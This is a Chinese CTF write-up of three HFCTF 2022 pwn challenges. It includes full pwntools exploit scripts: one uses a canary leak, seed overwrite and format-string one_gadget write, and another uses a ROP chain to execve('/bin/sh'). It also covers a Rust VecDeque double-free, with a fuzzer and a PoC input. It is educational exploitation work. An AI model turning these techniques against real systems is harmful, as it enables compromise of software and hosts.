虎符CTF 2022 pwn

不得不说学到了很多东西

babygame

查看保护

保护全开

逆向分析

栈溢出漏洞撞脸上 ,game里面其实就是石头剪刀布游戏

这个里面采取了随机数的方法,但是在主函数内的随机种子可以被覆盖,所以我们可以做到随机数预测。还有一种方法,这个种子是时间,我们在运行这个程序的时候我们也可以使用cdll(python和c的联合编程)同样以时间做为种子和程序一起运行,只要不超过1秒就可以了。这里笔者直接利用栈溢出来覆盖这个种子。另外我们可以发现在read的时候我们可以输出canary和stack_addr。

在game()这个函数里100次胜利我们可以进入下一个函数,也就是格式化漏洞函数

漏洞利用

漏洞点都找出来了,接下来就是如何进行漏洞利用,首先我们可以借助主函数里的read输出canary和stack_addr,并顺带将种子给覆盖掉

1
2
3
4
5
6
7
8
9
10
p1 = b'a' * (0x120 - 0x18) + b'b'
r.sendline(p1)

r.recvuntil('b')

canary = u64(b'\x00' + r.recv(7))
li('[+] canary = ' + hex(canary))

stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('[+] stack_addr = ' + hex(stack_addr))

过game这个游戏,cdll联合编程

1
2
3
4
5
6
7
8
9
10
11
from ctypes import *

game_srand = cdll.LoadLibrary('./2.31/libc-2.31.so')

game_srand.srand(0x61616161616161)

for i in range(100):
p2 = str((game_srand.rand() + 1) % 3)
li('[+] rand' + str(i + 1) + ' = ' + p2)
r.recvuntil('round '+ str(i + 1) + ': ')
r.send(p2)

接下来就是一个格式化漏洞了,先利用格式化漏洞将libc输出,并且将返回地址给改小。使其可以继续使用格式化漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p3 = b'%62c' + b'%8$hhn' + b'a' + b'%79$p' + p64(stack_addr - 0x218)

r.sendlineafter('Good luck to you.\n', p3)

r.recvuntil(b'a')
__libc_start_main = int(r.recv(14), 16)
li('[+] __libc_start_main = ' + hex(__libc_start_main))

libc = ELF('./2.31/libc-2.31.so')
libc_base = __libc_start_main - libc.sym['__libc_start_main'] - 243
li('[+] libc_base = ' + hex(libc_base))

one = [0xe3b2e, 0xe3b31, 0xe3b34]
one_gadget = one[1] + libc_base
li('[+] one_gadget = ' + hex(one_gadget))

最后一步利用格式化将地址给换成one_gadget,这样就可以getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p4 = b''
size = 0

for i in range(6):
target_size = (one_gadget >> (i * 8)) & 0xff
if target_size > size:
p4 += b'%' + str(target_size - size).encode() + b'c'
else:
p4 += b'%' + str(0x100 + target_size - size).encode() + b'c'
p4 += b'%' + str(16 + i).encode() + b'$hhn'
size = target_size

p4 = p4.ljust(0x50, b'a')
for i in range(6):
p4 += p64(stack_addr - 0x218 + i)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

p1 = b'a' * 0x108 + b'b'
r.send(p1)

r.recvuntil('aaaab')

canary = u64(b'\x00' + r.recv(7))
li('[+] canary = ' + hex(canary))

stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('[+] stack_addr = ' + hex(stack_addr))

game_srand = cdll.LoadLibrary('./2.31/libc-2.31.so')

game_srand.srand(0x61616161616161)

for i in range(100):
p2 = str((game_srand.rand() + 1) % 3)
li('[+] rand' + str(i + 1) + ' = ' + p2)
r.recvuntil('round '+ str(i + 1) + ': ')
r.send(p2)

offest = 6

p3 = b'%62c' + b'%8$hhn' + b'a' + b'%79$p' + p64(stack_addr - 0x218)

r.sendlineafter('Good luck to you.\n', p3)

r.recvuntil(b'a')
__libc_start_main = int(r.recv(14), 16)
li('[+] __libc_start_main = ' + hex(__libc_start_main))

libc = ELF('./2.31/libc-2.31.so')
libc_base = __libc_start_main - libc.sym['__libc_start_main'] - 243
li('[+] libc_base = ' + hex(libc_base))

one = [0xe3b2e, 0xe3b31, 0xe3b34]
one_gadget = one[1] + libc_base
li('[+] one_gadget = ' + hex(one_gadget))


p4 = b''
size = 0

for i in range(6):
target_size = (one_gadget >> (i * 8)) & 0xff
if target_size > size:
p4 += b'%' + str(target_size - size).encode() + b'c'
else:
p4 += b'%' + str(0x100 + target_size - size).encode() + b'c'
p4 += b'%' + str(16 + i).encode() + b'$hhn'
size = target_size

p4 = p4.ljust(0x50, b'a')
for i in range(6):
p4 += p64(stack_addr - 0x218 + i)

r.sendlineafter('Good luck to you.\n', p4)

r.interactive()

mva

在笔者的vm pwn文章里面详细的写过了

gogogo

第二次做golang的pwn,学习一下

查看保护

逆向分析

ida7.6以上逆go要比ida7.6下好很多,入眼一个if判断,输入正确之后没什么用

在看交叉引用的时候看到math_init这个函数,跟进

math_init有点长,运行程序之后发现是一个1a2b的游戏,当游戏通关在exit之后有一个栈溢出,放的有点隐晦,难受(从头看到尾

可以读入0x800个数据,而空间只有0x460,所以存在一个栈溢出。找到漏洞就好办了,接下来就是利用断路,因为这个漏洞点在游戏通过之后所以肯定要先要将游戏通过。直接去网上找了一个通过1a2b的python脚本

接下来就是到达漏洞点,利用rdi rax rdx rsi这些寄存器来执行getshell需要的条件,这里还有一个坑点没有pop rdi这个gadget。。。所以需要借助其它的gadget来使得rdi = ‘/bin/sh’

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def guessTrainner():
start =time.time()
answerSet=answerSetInit(set())
for i in range(6):
inputStrMax=suggestedNum(answerSet,100)
li('第%d步----' %(i+1))
li('尝试:' +inputStrMax)
li('----')
AMax,BMax = compareAnswer(inputStrMax)
li('反馈:%dA%dB' % (AMax, BMax))
li('----')
ll('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
answerSetUpd(answerSet,inputStrMax,AMax,BMax)
if AMax==4:
elapsed = (time.time() - start)
li("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1))
break
elif i==5:
ll("猜数字失败!")
r.close()


def compareAnswer(inputStr):
inputStr1 = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]
r.sendline(inputStr1)
r.recvuntil('\n')

tmp = r.recvuntil('B',timeout=0.5)
# print(tmp)
if tmp == '':
return 4,4
tmp = tmp.split(b"A")
if len(tmp[0]) > 0:
A = tmp[0]
B = tmp[1].split(b'B')[0]
return int(A),int(B)
else:
return 4, 4

def compareAnswer1(inputStr,answerStr):
A=0
B=0
for j in range(4):
if inputStr[j]==answerStr[j]:
A+=1
else:
for k in range(4):
if inputStr[j]==answerStr[k]:
B+=1
return A,B

def answerSetInit(answerSet):
answerSet.clear()
for i in range(1234,9877):
seti=set(str(i))
if len(seti)==4 and seti.isdisjoint(set('0')):
answerSet.add(str(i))
return answerSet

def answerSetUpd(answerSet,inputStr,A,B):
answerSetCopy=answerSet.copy()
for answerStr in answerSetCopy:
A1,B1=compareAnswer1(inputStr,answerStr)
if A!=A1 or B!=B1:
answerSet.remove(answerStr)

def answerSetDelNum(answerSet,inputStr,A,B):
i=0
for answerStr in answerSet:
A1, B1 = compareAnswer1(inputStr, answerStr)
if A!=A1 or B!=B1:
i+=1
return i


def suggestedNum(answerSet,lvl):
suggestedNum=''
delCountMax=0
if len(answerSet) > lvl:
suggestedNum = list(answerSet)[0]
else:
for inputStr in answerSet:
delCount = 0
for answerStr in answerSet:
A,B = compareAnswer1(inputStr, answerStr)
delCount += answerSetDelNum(answerSet, inputStr,A,B)
if delCount > delCountMax:
delCountMax = delCount
suggestedNum = inputStr
if delCount == delCountMax:
if suggestedNum == '' or int(suggestedNum) > int(inputStr):
suggestedNum = inputStr

return suggestedNum

try:
r.sendlineafter('PLEASE INPUT A NUMBER:', '1416925456')
r.recvuntil('YOU HAVE SEVEN CHANCES TO GUESS')
guessTrainner()
r.sendafter('AGAIN OR EXIT?\n', 'exit')
r.sendlineafter('(4) EXIT\n', '4')
pop_rsi_ret = 0x000000000041c41c
pop_rdx_ret = 0x000000000048546c
pop_rax_ret = 0x0000000000405b78
pop_rcx_ret = 0x000000000044dbe3
mov_val_rax_rcx_ret = 0x000000000042b353
xchg_rax_r9_ret = 0x000000000045b367
mov_rdi_r9 = 0x0000000000410d24
syscall = 0x000000000042c066
# execve('/bin/sh\x00', 0, 0);
p1 = b'a' * 0x460 + p64(pop_rax_ret) + p64(0xc00007c000)
p1 += p64(pop_rcx_ret) + p64(0x68732f6e69622f)
p1 += p64(mov_val_rax_rcx_ret) + p64(xchg_rax_r9_ret)
p1 += p64(mov_rdi_r9) + p64(0) * 3
p1 += p64(pop_rax_ret) + p64(0x3b)
p1 += p64(pop_rdx_ret) + p64(0)
p1 += p64(pop_rsi_ret) + p64(0)
p1 += p64(syscall)
r.sendafter('ARE YOU SURE?\n', p1)
r.interactive()
except:
ll('[-] something error, continue!!!')
r.close()

vdq

第一次做rutst程序,rust反汇编之后,麻了。。参考了chuj师傅

查看保护

逆向分析

跟进主函数之后第一行应该是hfctf2022的那个界面。vdq::banner::hdbaa6696562a9ae9,vdq是程序名,banner是函数名。

get_opr_lst应该就是read的功能了。跟进这个函数发现了一个变量

1
core::result::Result<alloc::vec::Vec<vdq::Operation>,serde_json::error::Error> v29; // [rsp+190h] [rbp-38h] BYREF

操作输入后反序列化到这里serde_json应该可以猜测出来是反序列化了。

接着看到这里,应该有增加功能,追加功能等。

拿一个功能来看的时候发现错误了,结果报错的时候将反序化的格式都回显出来了,如 [“Add”, “Add”, “Remove”],然后起一新行以 ‘$’ 结尾

在enum这里也可以看到

由此知道有五种操作。

Add

添加一条信息,加入队尾

Remove

删除一条信息,从队头删除

Append

向当前队头的信息中添加额外的信息进行拼接

Archive

与Remove相似

View

打印当前所有的信息

archive这个功能并不会将用以储存消息的容器也释放掉

接下来用chuj的fuzz测一下

1
2
3
4
5
6
7
8
9
10
# fuzz.sh
#!/bin/bash
while ((1))
do
python ./vdq_input_gen.py > poc
cat poc | ./vdq
if [ $? -ne 0 ]; then
break
fi
done
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# vdq_input_gen.py
#!/usr/bin/env python
# coding=utf-8
import random
import string

operations = "["

def Add():
global operations
operations += "\"Add\", "

def Remove():
global operations
operations += "\"Remove\", "

def Append():
global operations
operations += "\"Append\", "

def View():
global operations
operations += "\"View\", "

def Archive():
global operations
operations += "\"Archive\", "

def DoOperations():
print(operations[:-2] + "]")
print("$")

def DoAdd(message):
print(message)

def DoAppend(message):
print(message)

total_ops = random.randint(1, 100)
total_adds = 0
total_append = 0
total_remove = 0
total_message = 0
for i in range(total_ops):
op = random.randint(0, 4)
if op == 0:
total_message += 1
total_adds += 1
Add()
elif op == 1:
total_adds -= 1
Remove()
elif op == 2:
if total_adds > 0:
total_append += 1
total_message += 1
Append()
Append()
elif op == 3:
total_adds = 0
total_append = 0
total_remove = 0
Archive()
elif op == 4:
View()
DoOperations()
for i in range(total_message):
DoAdd(''.join(random.sample(string.ascii_letters + string.digits, random.randint(1, 40))))

很快就出了crash。double free。

poc有点长

1
2
3
4
5
6
7
8
9
["View", "Archive", "View", "View", "Archive", "View", "Remove", "Add", "Archive", "View", "Append", "Append", "View", "Add", "Add", "Add", "Remove", "Add", "View", "View", "Remove", "Remove", "View", "Append", "Append", "Add", "Remove", "Archive", "Append"]
$
2Ah7DGlQ
4qGYTiUPOxy51oQpu9MHRwIm8LJvZCW
wkOQE9VLM3mZfYJS85i4pln7
cm95ws3eQ7pIGnDZTWCqlrgMf
oZLAyx17cWswezaKJqQvHDEkin3YpCg4
kNOZmpAHrvzt7MGW1
EB3T4Yv5wyPJs

对poc简化一下

["Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Archive"]

在简化的时候发现一个看起来无用的功能去掉之后不会触发crash了

跟进view功能看一下

1
pub struct VecDeque<T, A: Allocator = Global> { /* private fields */ }

A double-ended queue implemented with a growable ring buffer.

The “default” usage of this type as a queue is to use push_back to add to the queue, and pop_front to remove from the queue. extend and append push onto the back in this manner, and iterating over VecDeque goes front to back.

A VecDeque with a known list of items can be initialized from an array:

1
2
3
use std::collections::VecDeque;

let deq = VecDeque::from([-1, 0, 1]);

Since VecDeque is a ring buffer, its elements are not necessarily contiguous in memory. If you want to access the elements as a single slice, such as for efficient sorting, you can use make_contiguous. It rotates the VecDeque so that its elements do not wrap, and returns a mutable slice to the now-contiguous element sequence.

make_contiguous

Rearranges the internal storage of this deque so it is one contiguous slice, which is then returned.

这个 make_contiguous 的 feature 1.48.0 被引入,1.49.0 修复

VecDeque::make_contiguous 存在一个错误,即在特定条件下多次弹出相同的元素。此错误可能导致释放后使用或双重释放。

我们构造一个payload之后在make_contiguous这里下个断点看一下结构

["Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Remove", "View"]

在第二个view时

连续指的是 buf 连续,也就是 buf 可以线性遍历(简单的说就是把循环队列转换为线性数组)。这里转换完成后,tail 变成 1,head 变成 4,即可返回一个可用的切片了。

return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };

有漏洞的版本可以看到直接返回了一个可用切片,返回一个 plain 的 slice,这样就会加回到头部可以形成double free

先构造出循环队列,也就是 head < tail,并且让 make_contiguous 后内存中仍能剩余可用的指针,让 make_contiguous 后 head == cap。由此就可以回绕后 remove 来 double free,view 来 leak,append 来 UAF。

通过 append 方法来 UAF tcache 底部的 chunk 即可任意地址分配

Reference

https://mp.weixin.qq.com/s/5pwU3-DX9-dI14iNIcIbPA

https://www.cjovi.icu/WP/1617.html